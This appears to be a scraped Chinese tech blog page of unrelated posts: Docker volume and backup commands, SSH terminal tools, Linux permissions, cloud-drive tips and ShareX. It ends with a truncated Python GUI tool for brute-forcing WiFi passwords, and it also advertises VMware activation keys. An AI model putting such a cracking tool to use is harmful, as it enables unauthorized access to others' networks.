<ip>:<host-port>:<container-port>,其中 ip 是宿主操作系统的监听 ip,可以用来控制监听的网卡,默认为 0.0.0.0,也就是监听所有网卡。host-port 和 container-port 分别表示映射到宿主操作系统的端口和容器的端口,这两者是可以不一样的,我们可以将容器的 80 端口映射到宿主操作系统的 8080 端口,传入 -p 8080:80 即可。我们可以在容器列表里看到端口映射的配置。$ sudo docker psCONTAINER ID IMAGE COMMAND CREATED STATUS PORTS NAMESbc79fc5d42a6 nginx:1.12 "nginx -g 'daemon of…" 4 seconds ago Up 2 seconds 0.0.0.0:80->80/tcp, 0.0.0.0:443->443/tcp nginx打印的结果里用 -> 标记了端口的映射关系。在 Windows 和 macOS 中使用映射Docker 的端口映射功能是将容器端口映射到宿主操作系统的端口上,实际来说就是映射到了 Linux 系统的端口上。而我们知道,在 Windows 和 macOS 中运行的 Docker,其 Linux 环境是被虚拟出来的,如果我们仅仅是将端口映射到 Linux 上,由于虚拟环境还有一层隔离,我们依然不能通过 Windows 或 macOS 的端口来访问容器。解决这种问题的方法很简单,只需要再加一次映射,将虚拟 Linux 系统中的端口映射到 Windows 或 macOS 的端口即可。如果我们使用 Docker for Windows 或 Docker for Mac,这个端口映射的操作程序会自动帮助我们完成,所以我们不需要做任何额外的事情,就能够直接使用 Windows 或 macOS 的端口访问容器端口了。而当我们使用 Docker Toolbox 时,由于其自动化能力比较差,所以需要我们在 VirtualBox 里单独配置这个操作系统端口到 Linux 端口的映射关系。在 VirtualBox 配置中的端口转发一栏里,进行相关的配置即可。备份与恢复备份将容器mynginx创建备份镜像mynginx_idocker commit mynginx mynginx_i在使用 docker commit 提交镜像更新后,我们可以得到 Docker 创建的新镜像的 ID,之后我们也能够从本地镜像列表中找到它。我们还能在提交容器更改的时候给出一个提交信息,方便以后查询。docker commit -m "Configured" webapp使用 docker tag 能够为未命名的镜像指定镜像名,也能够对已有的镜像创建一个新的命名。$ sudo docker tag 0bc42f7ff218 webapp:1.0$ sudo docker tag webapp:1.0 webapp:latest除了使用 docker tag 在容器提交为新的镜像后为镜像命名这种方式外,我们还可以直接在 docker commit 命令里指定新的镜像名$ sudo docker commit -m "Upgrade" webapp webapp:2.0打包为tar保存在用户目录,docker save 命令可以将镜像输出,提供了一种让我们保存镜像到 Docker 外部的方式。docker save -o ./mynginx.tar mynginx_i //推荐方式docker save webapp:1.0 > webapp-1.0.tar //使用管道方式不需要-o参数恢复首先我们先删除掉mynginx_img镜像 然后执行此命令进行恢复 docker load -i mynginx.tardocker load < webapp-1.0.tar-i 输入的文件执行后再次查看镜像,可以看到镜像已经恢复 批量迁移通过 docker save 和 docker load 命令我们还能够批量迁移镜像,只要我们在 docker save 中传入多个镜像名作为参数,它就能够将这些镜像都打成一个包,便于我们一次性迁移多个镜像。$ sudo docker save -o ./images.tar webapp:1.0 nginx:1.12 mysql:5.7装有多个镜像的包可以直接被 docker load 识别和读取,我们将这个包导入后,所有其中装载的镜像都会被导入到 Docker 之中。直接导入导出使用 docker export 命令我们可以直接导出容器,我们可以把它简单的理解为 docker commit 与 docker save 的结合体。$ sudo docker export -o ./webapp.tar webapp相对的,使用 docker export 导出的容器包,我们可以使用 docker import 导入。这里需要注意的是,使用 docker import 并非直接将容器导入,而是将容器运行时的内容以镜像的形式导入。所以导入的结果其实是一个镜像,而不是容器。在 docker import 的参数里,我们可以给这个镜像命名。$ sudo docker import ./webapp.tar webapp:1.0在开发的过程中,使用 docker save 和 docker load,或者是使用 docker export 和 docker import 都可以达到迁移容器或者镜像的目的。Q:容器直接导入执行报错 docker: Error response from daemon: No command specified。A:使用import导入后的镜像,启动容器时,需要传入command,而这个command可以参照原镜像容器或者开发人员提供的参数,ps -a –no-trunc可查看到完整的command,追加在容器启动命令后面就可以了数据存储Docker 容器显著的两点弊端就是:沙盒文件系统是跟随容器生命周期所创建和移除的,数据无法直接被持久化存储。由于容器隔离,我们很难从容器外部获得或操作容器内部文件中的数据。得益于Docker 容器文件系统是基于 UnionFS。由于 UnionFS 支持挂载不同类型的文件系统到统一的目录结构中,所以我们只需要将宿主操作系统中,文件系统里的文件或目录挂载到容器中,便能够让容器内外共享这个文件。挂载方式Bind Mount 能够直接将宿主操作系统中的目录和文件挂载到容器内的文件系统中,通过指定容器外的路径和容器内的路径,就可以形成挂载映射关系,在容器内外对文件的读写,都是相互可见的。Volume 也是从宿主操作系统中挂载目录到容器内,只不过这个挂载的目录由 Docker 进行管理,我们只需要指定容器内的目录,不需要关心具体挂载到了宿主操作系统中的哪里。Tmpfs Mount 支持挂载系统内存中的一部分到容器的文件系统里,不过由于内存和容器的特征,它的存储并不是持久的,其中的内容会随着容器的停止而消失。挂载文件到容器要将宿主操作系统中的目录挂载到容器之后,我们可以在容器创建的时候通过传递 -v 或 --volume 选项来指定内外挂载的对应目录或文件。记住:左宿主,右容器。$ sudo docker run -d --name nginx -v /webapp/html:/usr/share/nginx/html nginx:1.12使用 -v 或 --volume 来挂载宿主操作系统目录的形式是 -v <host-path>:<container-path> 或 --volume <host-path>:<container-path>,其中 host-path 和 container-path 分别代表宿主操作系统中的目录和容器中的目录。这里需要注意的是,为了避免混淆,Docker 这里强制定义目录时必须使用绝对路径,不能使用相对路径。然后我们在宿主机新建index.html文件就可以在容器中看到了$ sudo docker exec nginx ls /usr/share/nginx/htmlindex.html在 docker inspect 的结果里,我们可以看到有关容器数据挂载相关的信息。$ sudo docker inspect nginx[ {## ...... "Mounts": [ { "Type": "bind", "Source": "/webapp/html", "Destination": "/usr/share/nginx/html", "Mode": "", "RW": true, "Propagation": "rprivate" } ],## ...... }]在关于挂载的信息中我们可以看到一个 RW 字段,这表示挂载目录或文件的读写性 ( Read and Write )。实际操作中,Docker 还支持以只读的方式挂载,通过只读方式挂载的目录和文件,只能被容器中的程序读取,但不接受容器中程序修改它们的请求。在挂载选项 -v 后再接上 :ro 就可以只读挂载了。$ sudo docker run -d --name nginx -v /webapp/html:/usr/share/nginx/html:ro nginx:1.12由于宿主操作系统文件挂载在权限允许的情况下能够挂载任何目录或文件,这给系统的安全性造成了一定的隐患,所以我们在使用 Bind Mount 的时候,一定要特别注意挂载的外部目录选择。适合场景:当我们需要从宿主操作系统共享配置的时候。对于一些配置项,我们可以直接从容器外部挂载到容器中,这利于保证容器中的配置为我们所确认的值,也方便我们对配置进行监控。例如,遇到容器中时区不正确的时候,我们可以直接将操作系统的时区配置,也就是 /etc/timezone 这个文件挂载并覆盖容器中的时区配置。当我们需要借助 Docker 进行开发的时候。虽然在 Docker 中,推崇直接将代码和配置打包进镜像,以便快速部署和快速重建。但这在开发过程中显然非常不方便,因为每次构建镜像需要耗费一定的时间,这些时间积少成多,就是对开发工作效率的严重浪费了。如果我们直接把代码挂载进入容器,那么我们每次对代码的修改都可以直接在容器外部进行。挂载临时文件目录Tmpfs Mount 是一种特殊的挂载方式,它主要利用内存来存储数据。由于内存不是持久性存储设备,所以其带给 Tmpfs Mount 的特征就是临时性挂载。与挂载宿主操作系统目录或文件不同,挂载临时文件目录要通过 --tmpfs 这个选项来完成。由于内存的具体位置不需要我们来指定,这个选项里我们只需要传递挂载到容器内的目录即可。$ sudo docker run -d --name webapp --tmpfs /webapp/cache webapp:latest容器已挂载的临时文件目录我们也可以通过 docker inspect 命令查看。$ sudo docker inspect webapp[ {## ...... "Tmpfs": { "/webapp/cache": "" },## ...... }]挂载临时文件首先要注意它不是持久存储这一特性,在此基础上,它有几种常见的适应场景。应用中使用到,但不需要进行持久保存的敏感数据,可以借助内存的非持久性和程序隔离性进行一定的安全保障。读写速度要求较高,数据变化量大,但不需要持久保存的数据,可以借助内存的高读写速度减少操作的时间。挂载数据卷跟第一种方式的操作差不多,不同是目录存放在 Docker 内部,接受 Docker 的管理。你虽然可以通过inspect找到它的实际路径,这与第一种方式差不多,但作为数据卷比文件直接挂载也多点使用场景的优势,数据卷的命名在 Docker 中是唯一的,因此你可以公用它。使用 -v 或 --volume 选项来定义数据卷的挂载。$ sudo docker run -d --name webapp -v /webapp/storage webapp:latest数据卷挂载到容器后,我们可以通过 docker inspect 看到容器中数据卷挂载的信息。$ sudo docker inspect webapp[ {## ...... "Mounts": [ { "Type": "volume", "Name": "2bbd2719b81fbe030e6f446243386d763ef25879ec82bb60c9be7ef7f3a25336", "Source": "/var/lib/docker/volumes/2bbd2719b81fbe030e6f446243386d763ef25879ec82bb60c9be7ef7f3a25336/_data", "Destination": "/webapp/storage", "Driver": "local", "Mode": "", "RW": true, "Propagation": "" } ],## ...... }]这里我们所得到的信息与绑定挂载有所区别,除了 Type 中的类型不一样之外,在数据卷挂载中,我们还要关注一下 Name 和 Source 这两个信息。其中 Source 是 Docker 为我们分配用于挂载的宿主机目录,其位于 Docker 的资源区域 ( 这里是默认的 /var/lib/docker ) 内。当然,我们并不需要关心这个目录,一切对它的管理都已经在 Docker 内实现了。为了方便识别数据卷,我们可以像命名容器一样为数据卷命名,这里的 Name 就是数据卷的命名。在我们未给出数据卷命名的时候,Docker 会采用数据卷的 ID 命名数据卷。我们也可以通过 -v <name>:<container-path> 这种形式来命名数据卷。$ sudo docker run -d --name webapp -v appdata:/webapp/storage webapp:latest由于 -v 选项既承载了 Bind Mount 的定义,又参与了 Volume 的定义,所以其传参方式需要特别留意。前面提到了,-v 在定义绑定挂载时必须使用绝对路径,其目的主要是为了避免与数据卷挂载中命名这种形式的冲突。虽然与绑定挂载的原理差别不大,但数据卷在许多实际场景下你会发现它很有用。当希望将数据在多个容器间共享时,利用数据卷可以在保证数据持久性和完整性的前提下,完成更多自动化操作。当我们希望对容器中挂载的内容进行管理时,可以直接利用数据卷自身的管理方法实现。当使用远程服务器或云服务作为存储介质的时候,数据卷能够隐藏更多的细节,让整个过程变得更加简单。共用数据卷数据卷的另一大作用是实现容器间的目录共享,也就是通过挂载相同的数据卷,让容器之间能够同时看到并操作数据卷中的内容。这个功能虽然也可以通过绑定挂载来实现,但通过数据卷来操作会更加的舒适、简单。由于数据卷的命名在 Docker 中是唯一的,所以我们很容易通过数据卷的名称确定数据卷,这就让我们很方便的让多个容器挂载同一个数据卷了。$ sudo docker run -d --name webapp -v html:/webapp/html webapp:latest$ sudo docker run -d --name nginx -v html:/usr/share/nginx/html:ro nginx:1.12我们使用 -v 选项挂载数据卷时,如果数据卷不存在,Docker 会为我们自动创建和分配宿主操作系统的目录,而如果同名数据卷已经存在,则会直接引用。如果有朋友觉得这样对数据卷的操作方式还不够直接和准确,我们还可以通过 docker volume 下的几个命令专门操作数据卷。通过 docker volume create 我们可以不依赖于容器独立创建数据卷。$ sudo docker volume create appdata通过 docker volume ls 可以列出当前已创建的数据卷。$ sudo docker volume lsDRIVER VOLUME NAMElocal htmllocal appdata删除数据卷虽然数据卷的目的是用来持久化存储数据的,但有时候我们也难免有删除它们以释放空间的需求。直接去 Docker 的目录下删除显然不是好的选择,我们应该通过 Docker 对数据卷的管理命令来删除它们。我们可以直接通过 docker volume rm 来删除指定的数据卷。$ sudo docker volume rm appdata在删除数据卷之前,我们必须保证数据卷没有被任何容器所使用 ( 也就是之前引用过这个数据卷的容器都已经删除 ),否则 Docker 不会允许我们删除这个数据卷。对于我们没有直接命名的数据卷,因为要反复核对数据卷 ID,这样的方式并不算特别友好。这种没有命名的数据卷,通常我们可以看成它们与对应的容器产生了绑定,因为其他容器很难使用到它们。而这种绑定关系的产生,也让我们可以在容器删除时将它们一并删除。在 docker rm 删除容器的命令中,我们可以通过增加 -v 选项来删除容器关联的数据卷。$ sudo docker rm -v webapp如果我们没有随容器删除这些数据卷,Docker 在创建新的容器时也不会启用它们,即使它们与新创建容器所定义的数据卷有完全一致的特征。也就是说,此时它们已经变成了孤魂野鬼,纯粹的占用着硬盘空间而又不受管理。此时我们可以通过 docker volume rm 来删除它们,但前提时你能在一堆乱码般的数据卷 ID 中找出哪个是没有被容器引用的数据卷。为此,Docker 向我们提供了 docker volume prune 这个命令,它可以删除那些没有被容器引用的数据卷。$ sudo docker volume prune -fDeleted Volumes:af6459286b5ce42bb5f205d0d323ac11ce8b8d9df4c65909ddc2feea7c3d1d530783665df434533f6b53afe3d9decfa791929570913c7aff10f302c17ed1a38965b822e27d0be93d149304afb1515f8111344da9ea18adc3b3a34bddd2b243c7## ......数据卷容器在数据卷的基础上,我们有一种相对新颖的用法,也就是数据卷容器。所谓数据卷容器,就是一个没有具体指定的应用,甚至不需要运行的容器,我们使用它的目的,是为了定义一个或多个数据卷并持有它们的引用。创建数据卷容器的方式很简单,由于不需要容器本身运行,因而我们找个简单的系统镜像都可以完成创建。$ sudo docker create --name appdata -v /webapp/storage ubuntu在使用数据卷容器时,我们不建议再定义数据卷的名称,因为我们可以通过对数据卷容器的引用来完成数据卷的引用。而不设置数据卷的名称,也避免了在同一 Docker 中数据卷重名的尴尬。之前我们提到,Docker 的 Network 是容器间的网络桥梁,如果做类比,数据卷容器就可以算是容器间的文件系统桥梁。我们可以像加入网络一样引用数据卷容器,只需要在创建新容器时使用专门的 --volumes-from 选项即可。$ sudo docker run -d --name webapp --volumes-from appdata webapp:latest引用数据卷容器时,不需要再定义数据卷挂载到容器中的位置,Docker 会以数据卷容器中的挂载定义将数据卷挂载到引用的容器中。虽然看上去数据卷容器与数据卷的使用方法变化不大,但最关键的就在于其真正隐藏了数据卷的配置和定义,我们只需要通过数据卷容器的名称来使用它。这些细节的隐藏,意味着我们能够更轻松的实现容器的迁移。备份和迁移数据卷由于数据卷本身就是宿主操作系统中的一个目录,我们只需要在 Docker 资源目录里找到它就可以很轻松的打包、迁移、恢复了。虽然这么做相对其他虚拟化方案来说已经很简单了,但在 Docker 里还不是最优雅的解决方式。利用数据卷容器,我们还能够更方便的对数据卷中的数据进行迁移。数据备份、迁移、恢复的过程可以理解为对数据进行打包,移动到其他位置,在需要的地方解压的过程。在数据打包之前,我们先建立一个用来存放打包文件的目录,这里我们使用 /backup 作为例子。要备份数据,我们先建立一个临时的容器,将用于备份的目录和要备份的数据卷都挂载到这个容器上。$ sudo docker run --rm --volumes-from appdata -v /backup:/backup ubuntu tar cvf /backup/backup.tar /webapp/storage在这条命令中,除了挂载的配置外,我们再注意几个选项。通过 --rm 选项,我们可以让容器在停止后自动删除,而不需要我们再使用容器删除命令来删除它,这对于我们使用一些临时容器很有帮助。在容器所基于的镜像之后,我们还看到了一串命令,也就是 tar cvf /backup/backup.tar /webapp/storage,其实如果我们在镜像定义之后接上命令,可以直接替换掉镜像所定义的主程序启动命令,而去执行这一条命令。在很多场合下,我们还能通过这个方法干很多不同的事情。在备份后,我们就可以在 /backup 下找到数据卷的备份文件,也就是 backup.tar 了。如果要恢复数据卷中的数据,我们也可以借助临时容器完成。$ docker run --rm --volumes-from appdata -v /backup:/backup ubuntu tar xvf /backup/backup.tar -C /webapp/storage --strip恢复的过程与备份的过程类似,只不过把打包的命令转换为解包的命令而已。另一个挂载选项上面我们讲到了使用 -v 选项来挂载存在容易混淆的问题,其主要原因是挂载的方式和配置随着 Docker 的不断发展日渐丰富,而 -v 选项的传参方式限制了它能使用的场景。其实在 Docker 里为我们提供了一个相对支持丰富的挂载方式,也就是通过 --mount 这个选项配置挂载。$ sudo docker run -d --name webapp webapp:latest --mount 'type=volume,src=appdata,dst=/webapp/storage,volume-driver=local,volume-opt=type=nfs,volume-opt=device=<nfs-server>:<nfs-path>' webapp:latest在 --mount 中,我们可以通过逗号分隔这种 CSV 格式来定义多个参数。其中,通过 type 我们可以定义挂载类型,其值可以是:bind,volume 或 tmpfs。另外,--mount 选项能够帮助我们实现集群挂载的定义,例如在这个例子中,我们挂载的来源是一个 NFS 目录。

Docker基本命令与使用方法 使用教程

多款跨平台ssh客户端终端工具推荐

除了之前介绍的:全能终端神器 MobaXterm 免费SSH工具推荐计算机极四维博客FinalShell 免费国产ssh控制工具计算机极四维博客Tabby开源终端工具,star过万计算机极四维博客WindTermWindTerm 开源免费,跨平台,支持 Windows、Linux 和 macOS,支持sftp,且支持中文界面友好。https://github.com/kingToolbox/WindTerm/releasesWarp需登陆使用,看仓库,目前仅支持 macOS 版,Linux 和 Windows 用户还需要等待一段时间。官网:https://www.warp.dev/仓库:https://github.com/warpdotdev/Warptermius手机电脑都可用的ssh终端,有收费、免费版本。安卓、Windows、macOS、Linux 多平台,并且会在不同设备间同步。官网:https://www.termius.com/hyperHyper项目是一个开源的、美观的且可扩展的命令行界面(CLI),基于Web标准构建。由Vercel 开发,它旨在为扩展开发人员提供一个快速、稳定且经过充分测试的API。该项目的主要关注点是速度、稳定性以及为扩展编写人员开发正确的API。官网:https://hyper.is仓库:GitHub - vercel/hyper: A terminal built on web technologies

多款跨平台ssh客户端终端工具推荐

Tabby开源终端工具,star过万

Tabby(原名 Terminus)是一个高度可配置的终端模拟器、SSH 和串行客户端,适用于 Windows、macOS 和 Linux。下载地址:https://github.com/Eugeny/tabby/releases类似软件:全能终端神器 MobaXterm 免费SSH工具推荐FinalShell 免费国产ssh控制工具菜单Appearance:设置Terminal字体及大小,设置Terminal背景色是否跟随主题或者颜色模板,光标样式,Custom CSS则设置自定义的样式,可以改变Tabby本身UI显示。Profiles & connections:这里就是管理连接的地方(Connection Manager管理功能)。Terminal:设置本地终端的一些功能,包括剪贴板行为,如Copy on select,意思就是鼠标选择文本后就复制;另外两个选项:一个是启动时打开一个终端;一个是启动时恢复上一次的终端(这个选项不太好用,在我的系统上打开后,键盘输入没有任何反应,应该是个Bug)。Color Scheme:设置终端显示的颜色样式,已经内置了很多种,也可以点击Edit修改颜色样式。其他有Config sync(配置同步,支持github或gitee),Hotkeys(快捷键设置),Plugins(插件),Save Output(保存终端输出内容到文件,需要安装插件),SSH(远程连接,需要安装插件,必装),Vault(密码托管),Window(窗体样式、主题设置等等)插件SSH插件是必装的,否则无法管理和使用ssh远程维护。选择Plugins菜单——>Available——>SSH点击Get,随后安装成功后会提示你重启Tabby。在Plugins里面,大家可以自行查看哪些插件适合自己,选择安装即可。安装好SSH插件后,就可以管理我们的远程连接了。在Settings里面点击Profiles & connections或者点击顶部“+”号右边的按钮,选择Manage profiles就打开管理选项了。点击“New profile”,选择“SSH connection”弹出对话框,输入名称,Group处可以选择已有的组,也可以输入新的组名称;输入地址和端口,用户名,选择验证方法(如果有双因素验证,一般选Auto可以正常工作),如下图点击“Advance”选项或者“login scripts”可以设置高级选项,或者登陆脚本。在高级选项中有一项Ready Timeout,默认是20秒,可以适当调大(在双因素认证中有帮助,如果太短,还没来得及输入验证码就会超时断开连接)。最后点击Save保存配置即可。来源:https://zhuanlan.zhihu.com/p/444273614

Tabby开源终端工具,star过万

Linux用户、组、权限常用命令详解教程

Linux用户、组、权限常用命令常见命令查看当前⽤户: whoami查看系统用户信息:cat /etc/passwd切换用户:su temp01(用户名)切换用户且跳到主目录:su - 用户名ps:切换root用户可省略root,例如su、su -进入当前用户目录:cd ~退出登陆用户:exit(如是图形界面则退出终端,若ssh远程登陆则退出远程,若切换后用户则退回到切换前用户)修改用户密码:sudo passwd temp01删除用户:userdel abc(⽤户名)删除用户同时删除主目录:userdel -r abc(⽤户名)whowho命令⽤于查看当前所有登录系统的⽤户信息。 选项含义-m或am I只显示运⾏who命令的⽤户名、 登录终端和登录时间-q或–count只显示⽤户的登录账号和登录⽤户的数量-u或–heading显示列标题辨别普通用户、root用户最简单方式,看命令行前$普通用户,#为root用户添加用户adduser或useradd命令,adduser为useradd的链接,因此使用格式一致,使用useradd [参数] 用户名参数含义-d指定⽤户登录系统时的主⽬录, 如果不使⽤该参数, 系统⾃动在/home⽬录下建⽴与⽤户名同名⽬录为主⽬录-m⾃动建⽴⽬录-g指定组名称Linux每个⽤户都要有⼀个主⽬录, 主⽬录就是第⼀次登陆系统, ⽤户的默认当前⽬录(/home/⽤户),一般⽤户的主⽬录和⽤户名是相同的; 每⼀个⽤户必须有⼀个主⽬录, 所以⽤useradd创建⽤户的时候, ⼀定给⽤户指定⼀个主⽬录,如果不手动指定,系统会自动建立与用户名同名主目录; 如果创建⽤户的时候, 不指定组名, 那么系统会⾃动创建⼀个和⽤户名⼀样的组名。 例如:​ useradd -d /home/abc abc -m:创建abc⽤户, 如果/home/abc⽬录不存在, 就⾃动创建这个⽬录, 同时⽤户属于abc组。​ useradd -d /home/a a -g test -m:创建用户a且归属为test组。用户组查看组cat /etc/group | grep xxx或groupmod +三次tab键查看用户所在组groups 用户名添加、删除组新建组账号:sudo groupadd yonghuzu1删除组账号:sudo groupdel yonghuzu1修改用户所在组usermod -g ⽤户组 ⽤户名普通用户添加sudo权限新加的用户默认是没有sudo权限的,需要手动添加sudo usermod -a -G adm ⽤户名sudo usermod -a -G sudo ⽤户名-g与-G区别-g ⽤来制定这个⽤户默认的⽤户组-G ⼀般配合'-a'来完成向其它组添加个人觉得区别不是很大,大G的组往往显示在groups user的第二个位置,例如:[root@VM-16-5-centos abc]# usermod -g yonghuzu1 abc[root@VM-16-5-centos abc]# groups abc abc : yonghuzu1 abc[root@VM-16-5-centos abc]# chmod 修改文件权限字⺟法 chmod u/g/o/a +/-/= rwx ⽂件 [ u/g/o/a ]含义uuser 表示该⽂件的所有者ggroup 表示与该⽂件的所有者属于同⼀组( group )者, 即⽤户组oother 表示其他以外的⼈aall 表示这三者皆是[ +-= ]含义+增加权限-撤销权限=设定权限rwx含义rread 表示可读取, 对于⼀个⽬录, 如果没有r权限, 那么就意味着不能通过 ls查看这个⽬录的内容。wwrite 表示可写⼊, 对于⼀个⽬录, 如果没有w权限, 那么就意味着不能在 ⽬录下创建新的⽂件。xexcute 表示可执⾏, 对于⼀个⽬录, 如果没有x权限, 那么就意味着不能通 过cd进⼊这个⽬录。文件列rwx解析例如-rwxrwxrwx 1 root root 114 Jun 15 16:37 md.sh-rw------- 1 root root 10785 Jun 15 16:38 nohup.outdrwxr-xr-x 3 root root 4096 Apr 27 02:17 seadrwxrwxrwx 10 root root 4096 Nov 28 2021 wizdata①第一部分rw-属于文件的所属者,代表所属者可以访问并修改,但不能执行②第二部分r–属于文件的所属组,代表这个用户组可以访问,但不能修改和执行③第三部分r–属于其他用户,代表其他用户仅可以访问此文件或目录,但不能进行修改和执行操作④没有权限的用-来表示最前面的d或-指代含义如下:-就是普通的文件,d表示是目录, c表示是字符设备(在linux/unix,所有的设备都是文件),b是块设备文件, s是socket文件等。我们可以通过首字母判断ll列表文件到底属于什么类型。ll命令缺失如果查看文件详细列表命令ll缺失可用ls -l代替。ls -lh可以更直白显示大小单位。数字法一个文件的权限可以用-rw-r–r–来表示,也可以用数字644来表示。它们之间的转化可以这么表示:r用数字4表示,w用2表示,x用1表示,那么-rw-r–r–的rw-就可以表示为6,r–就是4,连起来就是644。字⺟说明r读取权限, 数字代号为 “4”w写⼊权限, 数字代号为 “2”x执⾏权限, 数字代号为 “1”-不具任何权限, 数字代号为 “0”使用格式//多个设置用逗号隔开,字母数字皆可。chmod u=rwx,g=rx,o=r filename等同于: chmod u=7,g=5,o=4 filename等同:chmod 754 filechmod u+x 1.txtchmod 644 2.txt//如果想递归所有⽬录加上相同权限, 需要加上参数“ -R ”,建议在目录后增加可读性。递归 test ⽬录下所有⽂件加 777 权限,如: chmod 777 test/ -Rchown修改文件所有者格式:chown 用户名 文件权限不足需在前面加sudochgrp修改文件所属组格式:chgrp 用户名 文件

Linux用户、组、权限常用命令详解教程

蓝奏云如何上传大文件 – 蓝奏云网盘上传大文件教程

蓝奏云是国内一款不错的免费网盘,但免费用户单文件上传大小有限制,那用户想上传大文件怎么办呢?两种方法:1.手动分卷例如使用WinRAR,鼠标右键压缩文件时候选“添加到压缩文件”,然后选择切分为分卷,分卷大小只需小于等于100M就行。另外压缩成其他压缩格式也行,只是其他格式分卷压缩后的格式可能就不会被蓝奏云允许上传。蓝奏云允许上传的文件格式有:doc,docx,zip,rar,apk,ipa,txt,exe,7z,e,z,ct,ke,cetrainer,db,tar,pdf,w3x,epub,mobi,azw,azw3,osk,osz,xpa,cpk,lua,jar,dmg,ppt,pptx,xls,xlsx,mp3,ipa,iso,img,gho,ttf,ttc,txf,dwg,bat,imazingapp,dll,crx,xapk,conf,deb,rp,rpm,rplib,mobileconfig,appimage,lolgezi,flac2.第三方客户端下载第三方客户端,登录进去直接有分割文件选项,分割好后打开文件所在文件夹直接上传即可,界面友好,比较推荐。合并文件也只需在“解析URL”中填写地址与提取码,点击“解析”,勾选“自动合并”后点击“下载全部”即可下载一整个文件,下载文件后缀可能有缺失,根据实际修改即可。下载地址:https://github.com/chenhb23/lanzouyun-disk/releases总结蓝奏云优势还是小文件,如果大文件采用分割文件方法,始终还是比较麻烦的,若文件只有几百兆还可以,大文件不推荐或建议开通蓝奏云会员。

虚拟机vmware16免费激活密钥

随时失效,仅供学习交流使用,请购买正版软件。***请进入文章页查看隐藏内容***

ShareX - 免费开源截图与自动上传图床利器

官网: ShareX - The best free and open source screenshot tool for WindowsShareX 是一款优秀且功能丰富的 Windows 开源免费截图/录屏软件 + 文字/文件上传分享的效率工具。它与大多数工具不同,ShareX 整合了大量“对图片进一步处理”的生产力功能。ShareX 开源免费,界面干净无广告,支持多国语言。截图功能支持全屏截图、窗口截图、区域截图,支持滚动截图 (屏幕长截图)、倒计时截图、自动捕捉、屏幕录像 (导出视频/ GIF)、OCR 文本识别等。功能上 ShareX 能用多到夸张来形容!除常见的截屏/录屏外,还有标注/图像编辑/文字识别/上传等等,利用它“截图后的动作”以及“上传后的动作”,可以打造属于自己的“工作流”,实现诸如:「一键截图+标注+上传到服务器+复制图片网址」等一条龙操作,「被微软评为 Microsoft Store 商店最佳应用」。ShareX 的功能相当全面,截图、录屏、加水印、裁剪、缩放、标注、涂鸦、上传全都能搞定!能让用户自定义设置“截图后的动作”以及“上传后的动作”,用户可以根据自己的实际需求来量身定做,以“自动化”的方式搞定很多原本需要繁杂重复的操作,大幅地提升你的工作效率和生产力。与「Snipaste」相比,前者更注重截图的使用体验和细节功能的打磨,而 ShareX 则更注重截图后的上传、分享等配合的“动作”。

ShareX - 免费开源截图与自动上传图床利器

拯救旧电脑,国产Fyde OS系统安装,可运行安卓+Windows应用

低配置电脑、旧电脑不好使,不妨试试安装国产Fyde OS,运行也能相对流畅。Fyde OS基于驱动Chrome OS及谷歌浏览器的开源项目二次开发,它继承了Chrome OS所有的特性,可适配更多的硬件品类。详细的特点如下:1、极速响应永不变慢;2、在一个OS平台上更好地运行网页程序+安卓程序+Windows程序+Linux程序;3、账号数据云同步;4、操作简单,安全稳定;5、无打扰式更新;6、在千元机上实现优质体验,流畅使用5-10年,超高性价比。官网:FydeOS - 面向未来的操作系统,为中国用户打造的 Chrome OS下载页:下载 - FydeOS手册:帮助文档 - FydeOS可下载PC版刻录到U盘中进行U盘启动使用或者下载VM版本在虚拟机使用都可以。

拯救旧电脑,国产Fyde OS系统安装,可运行安卓+Windows应用

Python暴力破解WiFi密码源码

有界面的GUI软件,效率比抓包更低,因为它是不断通过穷举的密码进行WiFi连接。# coding:utf-8#python -m pip install --upgrade pip#pip install comtypesfrom tkinter import *from tkinter import ttkimport pywififrom pywifi import constimport timeimport tkinter.filedialog import tkinter.messageboxclass MY_GUI(): def __init__(self,init_window_name): self.init_window_name = init_window_name #密码文件路径 self.get_value = StringVar() #获取破解wifi账号 self.get_wifi_value = StringVar() #获取wifi密码 self.get_wifimm_value = StringVar() self.wifi = pywifi.PyWiFi() #抓取网卡接口 self.iface = self.wifi.interfaces()[0] #抓取第一个无线网卡 self.iface.disconnect() #测试链接断开所有链接 time.sleep(1) #休眠1秒 #测试网卡是否属于断开状态 assert self.iface.status() in\ [const.IFACE_DISCONNECTED, const.IFACE_INACTIVE] def __str__(self): # 自动会调用的函数,返回自身的网卡 return '(WIFI:%s,%s)' % (self.wifi,self.iface.name()) #设置窗口 def set_init_window(self): self.init_window_name.title("WIFI破解工具") self.init_window_name.geometry('+500+200') labelframe = LabelFrame(width=400, height=200,text="配置") # 框架,以下对象都是对于labelframe中添加的 labelframe.grid(column=0, row=0, padx=10, pady=10) self.search = Button(labelframe,text="搜索附近WiFi",command=self.scans_wifi_list).grid(column=0,row=0) self.pojie = Button(labelframe,text="开始破解",command=self.readPassWord).grid(column=1,row=0) #self.label = Label(labelframe,text="目录路径:").grid(column=0,row=1) #self.path = Entry(labelframe,width=12,textvariable = self.get_value).grid(column=1,row=1) #self.file = Button(labelframe,text="添加密码文件目录",command=self.add_mm_file).grid(column=2,row=1) self.wifi_text = Label(labelframe,text="WiFi账号:").grid(column=0,row=2) self.wifi_input = Entry(labelframe,width=12,textvariable = self.get_wifi_value).grid(column=1,row=2) self.wifi_mm_text = Label(labelframe,text="WiFi密码:").grid(column=2,row=2) self.wifi_mm_input = Entry(labelframe,width=10,textvariable = self.get_wifimm_value).grid(column=3,row=2,sticky=W) self.wifi_labelframe = LabelFrame(text="wifi列表") self.wifi_labelframe.grid(column=0, row=3,columnspan=4,sticky=NSEW) # 定义树形结构与滚动条 self.wifi_tree = ttk.Treeview(self.wifi_labelframe,show="headings",columns=("a", "b", "c", "d")) self.vbar = ttk.Scrollbar(self.wifi_labelframe, orient=VERTICAL, command=self.wifi_tree.yview) self.wifi_tree.configure(yscrollcommand=self.vbar.set) # 表格的标题 self.wifi_tree.column("a", width=45, anchor="center") self.wifi_tree.column("b", width=110, anchor="w") self.wifi_tree.column("c", width=120, anchor="w") self.wifi_tree.column("d", width=60, anchor="center") self.wifi_tree.heading("a", text="WiFiID") self.wifi_tree.heading("b", text="SSID") self.wifi_tree.heading("c", text="BSSID") self.wifi_tree.heading("d", text="signal") self.wifi_tree.grid(row=4,column=0,sticky=NSEW) self.wifi_tree.bind("<Double-1>",self.onDBClick) self.vbar.grid(row=4,column=1,sticky=NS) #搜索wifi #cmd /k C:\Python27\python.exe "$(FULL_CURRENT_PATH)" & PAUSE & EXIT def scans_wifi_list(self): # 